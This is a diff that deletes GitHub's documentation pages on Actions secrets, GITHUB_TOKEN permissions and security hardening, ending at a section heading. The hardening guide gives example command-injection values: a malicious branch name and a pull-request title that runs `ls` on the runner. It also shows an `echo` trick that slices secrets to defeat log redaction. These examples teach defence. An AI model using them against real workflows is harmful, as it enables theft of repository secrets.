-If you are requesting assistance with a {% data variables.code-scanning.codeql_workflow %}, {% data variables.contact.github_support %} may request a copy of the {% data variables.product.prodname_codeql %} debugging artifacts. For more information about debugging artifacts for a {% data variables.code-scanning.codeql_workflow %}, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning/logs-not-detailed-enough#creating-codeql-debugging-artifacts).
-
-To provide the debugging artifacts to {% data variables.contact.github_support %}, please download the {% data variables.product.prodname_codeql %} debugging artifacts from a sample workflow run and attach it to your ticket as a `.zip` file. For more information on downloading workflow artifacts, see [AUTOTITLE](/actions/managing-workflow-runs/downloading-workflow-artifacts).
-
-If the {% data variables.product.prodname_codeql %} debugging artifacts `.zip` file is too large to upload to the ticket, please advise {% data variables.contact.github_support %}, and we will work with you to determine the next steps.
-
-## Scope of support
-
-{% data reusables.support.scope-of-support %}
diff --git a/content/actions/security-for-github-actions/index.md b/content/actions/security-for-github-actions/index.md
deleted file mode 100644
index 05ce0005e6b2..000000000000
--- a/content/actions/security-for-github-actions/index.md
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: Security for GitHub Actions
-shortTitle: Security
-intro: 'Use security best practices with {% data variables.product.prodname_actions %}, and use {% data variables.product.prodname_actions %} to improve the security of your software supply chain.'
-redirect_from:
- - /actions/security-guides
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /security-guides
- - /using-artifact-attestations
- - /security-hardening-your-deployments
----
\ No newline at end of file
diff --git a/content/actions/security-for-github-actions/security-guides/about-secrets.md b/content/actions/security-for-github-actions/security-guides/about-secrets.md
deleted file mode 100644
index cd3939f65743..000000000000
--- a/content/actions/security-for-github-actions/security-guides/about-secrets.md
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: About secrets
-intro: 'Learn about secrets as they''re used in GitHub Actions.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About secrets
-
-Secrets allow you to store sensitive information in your organization, repository, or repository environments. Secrets are variables that you create to use in {% data variables.product.prodname_actions %} workflows in an organization, repository, or repository environment.
-
-{% data variables.product.prodname_actions %} can only read a secret if you explicitly include the secret in a workflow.
-
-## Naming your secrets
-
->[!TIP]
-> To help ensure that {% data variables.product.prodname_dotcom %} redacts your secrets in logs correctly, avoid using structured data as the values of secrets.
-
-The following rules apply to secret names:
-
-{% data reusables.actions.actions-secrets-and-variables-naming %}
-
-{% data reusables.codespaces.secret-precedence %} Similarly, if an organization, repository, and environment all have a secret with the same name, the environment-level secret takes precedence.
-
-## Using your secrets in workflows
-
-{% data reusables.actions.secrets-redaction-warning %}
-
-{% data reusables.actions.secrets-org-level-overview %}
-
-For environment secrets, you can enable required reviewers to control access to the secrets. A workflow job cannot access environment secrets until approval is granted by required approvers.
-
-To make a secret available to an action, you must set the secret as an input or environment variable in your workflow file. Review the action's README file to learn about which inputs and environment variables the action expects. See [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsenv).
-
-Organization and repository secrets are read when a workflow run is queued, and environment secrets are read when a job referencing the environment starts.
-
-## Limiting credential permissions
-
-When generating credentials, we recommend that you grant the minimum permissions possible. For example, instead of using personal credentials, use [deploy keys](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys) or a service account. Consider granting read-only permissions if that's all that is needed, and limit access as much as possible.
-
-When generating a {% data variables.product.pat_v1 %}, select the fewest scopes necessary. When generating a {% data variables.product.pat_v2 %}, select the minimum permissions and repository access required.
-
-Instead of using a {% data variables.product.pat_generic %}, consider using a {% data variables.product.prodname_github_app %}, which uses fine-grained permissions and short lived tokens, similar to a {% data variables.product.pat_v2 %}. Unlike a {% data variables.product.pat_generic %}, a {% data variables.product.prodname_github_app %} is not tied to a user, so the workflow will continue to work even if the user who installed the app leaves your organization. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow).
-
-## Further reading
-
-* [AUTOTITLE](/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions)
-* [AUTOTITLE](/rest/actions/secrets)
diff --git a/content/actions/security-for-github-actions/security-guides/automatic-token-authentication.md b/content/actions/security-for-github-actions/security-guides/automatic-token-authentication.md
deleted file mode 100644
index 1606f65fae74..000000000000
--- a/content/actions/security-for-github-actions/security-guides/automatic-token-authentication.md
+++ /dev/null
@@ -1,138 +0,0 @@
----
-title: Automatic token authentication
-intro: '{% data variables.product.prodname_dotcom %} provides a token that you can use to authenticate on behalf of {% data variables.product.prodname_actions %}.'
-redirect_from:
- - /github/automating-your-workflow-with-github-actions/authenticating-with-the-github_token
- - /actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token
- - /actions/configuring-and-managing-workflows/authenticating-with-the-github_token
- - /actions/reference/authentication-in-a-workflow
- - /actions/security-guides/automatic-token-authentication
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-shortTitle: Automatic token authentication
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About the `GITHUB_TOKEN` secret
-
-At the start of each workflow job, {% data variables.product.prodname_dotcom %} automatically creates a unique `GITHUB_TOKEN` secret to use in your workflow. You can use the `GITHUB_TOKEN` to authenticate in the workflow job.
-
-When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see [Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token).
-
-Before each job begins, {% data variables.product.prodname_dotcom %} fetches an installation access token for the job. {% data reusables.actions.github-token-expiration %}
-
-The token is also available in the `github.token` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context).
-
-## Using the `GITHUB_TOKEN` in a workflow
-
-You can use the `GITHUB_TOKEN` by using the standard syntax for referencing secrets: {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% data variables.product.github %} API request.
-
-> [!IMPORTANT]
-> An action can access the `GITHUB_TOKEN` through the `github.token` context even if the workflow does not explicitly pass the `GITHUB_TOKEN` to the action. As a good security practice, you should always make sure that actions only have the minimum access they require by limiting the permissions granted to the `GITHUB_TOKEN`. For more information, see [Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token).
-
-{% data reusables.actions.actions-do-not-trigger-workflows %}
-
-{% data reusables.actions.actions-do-not-trigger-pages-rebuilds %}
-
-### Example 1: passing the `GITHUB_TOKEN` as an input
-
-{% data reusables.actions.github_token-input-example %}
-
-### Example 2: calling the REST API
-
-You can use the `GITHUB_TOKEN` to make authenticated API calls. This example workflow creates an issue using the {% data variables.product.prodname_dotcom %} REST API:
-
-```yaml
-name: Create issue on commit
-
-on: [ push ]
-
-jobs:
- create_issue:
- runs-on: ubuntu-latest
- permissions:
- issues: write
- steps:
- - name: Create issue using REST API
- run: |
- curl --request POST \
- --url {% data variables.product.rest_url %}/repos/${% raw %}{{ github.repository }}{% endraw %}/issues \
- --header 'authorization: Bearer ${% raw %}{{ secrets.GITHUB_TOKEN }}{% endraw %}' \
- --header 'content-type: application/json' \
- --data '{
- "title": "Automated issue for commit: ${% raw %}{{ github.sha }}{% endraw %}",
- "body": "This issue was automatically created by the GitHub Action workflow **${% raw %}{{ github.workflow }}{% endraw %}**. \n\n The commit hash was: _${% raw %}{{ github.sha }}{% endraw %}_."
- }' \
- --fail
-```
-
-## Permissions for the `GITHUB_TOKEN`
-
-For information about the API endpoints {% data variables.product.prodname_github_apps %} can access with each permission, see [AUTOTITLE](/rest/overview/permissions-required-for-github-apps).
-
-The following table shows the permissions granted to the `GITHUB_TOKEN` by default. People with admin permissions to an {% ifversion not ghes %}enterprise, organization, or repository,{% else %}organization or repository{% endif %} can set the default permissions to be either permissive or restricted. For information on how to set the default permissions for the `GITHUB_TOKEN` for your enterprise, organization, or repository, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise), [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization), or [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository).
-
-{% rowheaders %}
-
-| Scope | Default access
(permissive) | Default access
(restricted) | Maximum access for
pull requests from
public forked repositories |
-|---------------|-----------------------------|-----------------------------|--------------------------------|
-| actions | read/write | none | read |
-| {% ifversion artifact-attestations %} |
-| attestations | read/write | none | read |
-| {% endif %} |
-| checks | read/write | none | read |
-| contents | read/write | read | read |
-| deployments | read/write | none | read |
-| discussions | read/write | none | read |
-| {% ifversion fpt or ghec %} |
-| id-token | none | none | none |
-| {% endif %} |
-| issues | read/write | none | read |
-| metadata | read | read | read |
-| packages | read/write | read | read |
-| pages | read/write | none | read |
-| pull-requests | read/write | none | read |
-| repository-projects | read/write | none | read |
-| security-events | read/write | none | read |
-| statuses | read/write | none | read |
-
-{% endrowheaders %}
-
-> [!NOTE]
-> * When a workflow is triggered by the [`pull_request_target`](/actions/using-workflows/events-that-trigger-workflows#pull_request_target) event, the `GITHUB_TOKEN` is granted read/write repository permission, even when it is triggered from a public fork. For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#pull_request_target).
-> * Private repositories can control whether pull requests from forks can run workflows, and can configure the permissions assigned to `GITHUB_TOKEN`. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-forks-of-private-repositories).
-> * {% data reusables.actions.workflow-runs-dependabot-note %}
-
-### Modifying the permissions for the `GITHUB_TOKEN`
-
-You can modify the permissions for the `GITHUB_TOKEN` in individual workflow files. If the default permissions for the `GITHUB_TOKEN` are restrictive, you may have to elevate the permissions to allow some actions and commands to run successfully. If the default permissions are permissive, you can edit the workflow file to remove some permissions from the `GITHUB_TOKEN`. As a good security practice, you should grant the `GITHUB_TOKEN` the least required access.
-
-You can see the permissions that `GITHUB_TOKEN` had for a specific job in the "Set up job" section of the workflow run log. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs).
-
-You can use the `permissions` key in your workflow file to modify permissions for the `GITHUB_TOKEN` for an entire workflow or for individual jobs. This allows you to configure the minimum required permissions for a workflow or job.
-
-{% data reusables.actions.forked-write-permission %}
-
-The two workflow examples earlier in this article show the `permissions` key being used at the job level, as it is best practice to limit the permissions' scope.
-
-For full details of the `permissions` key, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#permissions).
-
-> [!NOTE]
-> Organization{% ifversion not fpt %} and enterprise{% endif %} owners can prevent you from granting write access to the `GITHUB_TOKEN` at the repository level. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization){% ifversion not fpt %} and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise).{% else %}.{% endif %}
->
-> When the `permissions` key is used, all unspecified permissions are set to no access, with the exception of the `metadata` scope, which always gets read access.
-
-#### How the permissions are calculated for a workflow job
-
-The permissions for the `GITHUB_TOKEN` are initially set to the default setting for the enterprise, organization, or repository. If the default is set to the restricted permissions at any of these levels then this will apply to the relevant repositories. For example, if you choose the restricted default at the organization level then all repositories in that organization will use the restricted permissions as the default. The permissions are then adjusted based on any configuration within the workflow file, first at the workflow level and then at the job level. Finally, if the workflow was triggered by a pull request from a forked repository, and the **Send write tokens to workflows from pull requests** setting is not selected, the permissions are adjusted to change any write permissions to read only.
-
-### Granting additional permissions
-
-If you need a token that requires permissions that aren't available in the `GITHUB_TOKEN`, you can create a {% data variables.product.prodname_github_app %} and generate an installation access token within your workflow. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). Alternatively, you can create a {% data variables.product.pat_generic %}, store it as a secret in your repository, and use the token in your workflow with the {% raw %}`${{ secrets.SECRET_NAME }}`{% endraw %} syntax. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token) and [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions).
-
-### Further reading
-
-* [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api)
diff --git a/content/actions/security-for-github-actions/security-guides/index.md b/content/actions/security-for-github-actions/security-guides/index.md
deleted file mode 100644
index 5be228d4dbdf..000000000000
--- a/content/actions/security-for-github-actions/security-guides/index.md
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: Security guides
-shortTitle: Security guides
-intro: 'Security hardening and good practices for {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /security-hardening-for-github-actions
- - /about-secrets
- - /using-secrets-in-github-actions
- - /automatic-token-authentication
- - /using-githubs-security-features-to-secure-your-use-of-github-actions
----
-
diff --git a/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md b/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md
deleted file mode 100644
index 38e1d626e274..000000000000
--- a/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md
+++ /dev/null
@@ -1,398 +0,0 @@
----
-title: Security hardening for GitHub Actions
-shortTitle: Security hardening
-intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.'
-redirect_from:
- - /actions/getting-started-with-github-actions/security-hardening-for-github-actions
- - /actions/learn-github-actions/security-hardening-for-github-actions
- - /actions/security-guides/security-hardening-for-github-actions
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: overview
-topics:
- - Security
----
-
-## Overview
-
-This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions).
-
-## Using secrets
-
-Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/security-guides/using-secrets-in-github-actions) can be configured at the organization, repository, or environment level, and allow you to store sensitive information in {% data variables.product.github %}.
-
-{% ifversion fpt or ghec %}
-Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.github %}. This occurs when the secret is submitted [using the UI](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository) or through the [REST API](/rest/actions/secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.github %}'s infrastructure. Once the secret is uploaded, {% data variables.product.github %} is then able to decrypt it so that it can be injected into the workflow runtime.
-{% endif %}
-
-To help prevent accidental disclosure, {% data variables.product.github %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets used within the job, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. Additionally, the runner can only redact secrets used within the current job. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets:
-
-* **Never use structured data as a secret**
- * Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value.
-* **Register all secrets used within workflows**
- * If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output.
- * Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too.
-* **Audit how secrets are handled**
- * Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output.
- * View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. For information on how to clean up workflow logs that may unintentionally contain sensitive data, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#deleting-logs).
-* **Use credentials that are minimally scoped**
- * Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository.
- * Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).
-* **Audit and rotate registered secrets**
- * Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed.
- * Rotate secrets periodically to reduce the window of time during which a compromised secret is valid.
-* **Consider requiring review for access to secrets**
- * You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) and [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment).
-
-> [!WARNING]
-> Any user with write access to your repository has read access to all secrets configured in your repository. Therefore, you should ensure that the credentials being used within workflows have the least privileges required.
-
-## Using `CODEOWNERS` to monitor changes
-
-You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.
-
-For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners).
-
-## Understanding the risk of script injections
-
-When creating workflows, [custom actions](/actions/creating-actions/about-custom-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action), you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.
-
- Attackers can add their own malicious content to the [`github` context](/actions/learn-github-actions/contexts#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`.
-
- You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner).
-
-In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository.
-
-The following sections explain how you can help mitigate the risk of script injection.
-
-### Example of a script injection attack
-
-A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:
-
-{% raw %}
-
-```yaml
- - name: Check PR title
- run: |
- title="${{ github.event.pull_request.title }}"
- if [[ $title =~ ^octocat ]]; then
- echo "PR title starts with 'octocat'"
- exit 0
- else
- echo "PR title did not start with 'octocat'"
- exit 1
- fi
-```
-
-{% endraw %}
-
-This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection.
-
-To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`:
-
-
-
-In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log:
-
-```shell
-Run title="a"; ls $GITHUB_WORKSPACE""
-README.md
-code.yml
-example.js
-```
-
-## Good practices for mitigating script injection attacks
-
-There are a number of different approaches available to help you mitigate the risk of script injection:
-
-### Using an action instead of an inline script (recommended)
-
-The recommended approach is to create a JavaScript action that processes the context value as an argument. This approach is not vulnerable to the injection attack, since the context value is not used to generate a shell script, but is instead passed to the action as an argument:
-
-```yaml
-uses: fakeaction/checktitle@v3
-with:
- title: {% raw %}${{ github.event.pull_request.title }}{% endraw %}
-```
-
-### Using an intermediate environment variable
-
-For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable.
-
-The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable:
-
-```yaml
- - name: Check PR title
- env:
- TITLE: {% raw %}${{ github.event.pull_request.title }}{% endraw %}
- run: |
- if [[ "$TITLE" =~ ^octocat ]]; then
- echo "PR title starts with 'octocat'"
- exit 0
- else
- echo "PR title did not start with 'octocat'"
- exit 1
- fi
-```
-
-In this example, the attempted script injection is unsuccessful, which is reflected by the following lines in the log:
-
-```shell
- env:
- TITLE: a"; ls $GITHUB_WORKSPACE"
-PR title did not start with 'octocat'
-```
-
-With this approach, the value of the {% raw %}`${{ github.event.pull_request.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}.
-
-{% ifversion fpt or ghec %}
-
-### Using workflow templates for {% data variables.product.prodname_code_scanning %}
-
-{% data reusables.advanced-security.starter-workflows-beta %}
-{% data variables.product.prodname_code_scanning_caps %} allows you to find security vulnerabilities before they reach production. {% data variables.product.github %} provides workflow templates for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short %}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party workflow templates available.
-
-For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning#configuring-code-scanning-using-third-party-actions).
-
-{% endif %}
-
-### Restricting permissions for tokens
-
-To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token).
-
-{% ifversion custom-org-roles %}
-
-## Managing permissions for {% data variables.product.prodname_actions %} settings in your organization
-
-You can practice the principle of least privilege for your organization's CI/CD pipeline with {% data variables.product.prodname_actions %} by administering custom organization roles. A custom organization role is a way to grant an individual or team in your organization the ability to control certain subsets of settings without granting full administrative control of the organization and its repositories.
-
-{% data reusables.actions.org-roles-for-gh-actions %}
-
-For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).
-
-{% endif %}
-
-## Using OpenID Connect to access cloud resources
-
-{% data reusables.actions.about-oidc-short-overview %}
-
-{% data reusables.actions.oidc-custom-claims-aws-restriction %}
-
-## Using third-party actions
-
-The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them.
-
-This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner).
-
-You can help mitigate this risk by following these good practices:
-
-* **Pin actions to a full length commit SHA**
-
- Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. {% data reusables.actions.actions-pin-commit-sha %}
-
-* **Audit the source code of the action**
-
- Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged.
-
-* **Pin actions to a tag only if you trust the creator**
-
- Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action.
-
-## Reusing third-party workflows
-
-The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows).
-
-## Using {% data variables.product.prodname_dependabot_version_updates %} to keep actions up to date
-
-{% data reusables.actions.dependabot-version-updates-for-actions %}
-
-{% ifversion ghec or ghes %}
-
-## Allowing workflows to access internal and private repositories
-
-{% data reusables.actions.outside-collaborators-actions %} For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise).
-
-{% data reusables.actions.scoped-token-note %}
-
-{% endif %}
-
-## Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests
-
-{% data reusables.actions.workflow-pr-approval-permissions-intro %} Allowing workflows, or any other automation, to create or approve pull requests could be a security risk if the pull request is merged without proper oversight.
-
-For more information on how to configure this setting, see {% ifversion ghes or ghec %}[AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests),{% endif %} [Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-creating-or-approving-pull-requests), and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests).
-
-{% ifversion code-scanning-actions-language %}
-
-## Using {% data variables.product.prodname_code_scanning %} to secure workflows
-
-{% data reusables.code-scanning.beta-actions-analysis %}
-
-{% data variables.product.prodname_code_scanning_caps %} can automatically detect and suggest improvements for common vulnerable patterns used in {% data variables.product.prodname_actions %} workflows.
-For more information on how to enable {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning).
-
-{% endif %}
-
-## Using OpenSSF Scorecards to secure workflow dependencies
-
-[Scorecards](https://github.com/ossf/scorecard) is an automated security tool that flags risky supply chain practices. You can use the [Scorecards action](https://github.com/marketplace/actions/ossf-scorecard-action) and [workflow template](https://github.com/actions/starter-workflows) to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in {% data variables.product.prodname_code_scanning %} experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions.
-
-## Potential impact of a compromised runner
-
-These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner.
-
-{% ifversion fpt or ghec %}
-
-> [!NOTE]
-> {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library.
-
-{% endif %}
-
-### Accessing secrets
-
-Workflows triggered from a forked repository using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues`, `push` and `pull_request` from a branch within the repository, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).
-
-* If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`.
-* If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
-* For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:
-
- {% raw %}
-
- ```yaml
- uses: fakeaction/publish@v3
- with:
- key: ${{ secrets.PUBLISH_KEY }}
- ```
-
- {% endraw %}
-
-Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker.
-
-### Exfiltrating data from a runner
-
-An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/security-guides/using-secrets-in-github-actions#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.
-
-### Stealing the job's `GITHUB_TOKEN`
-
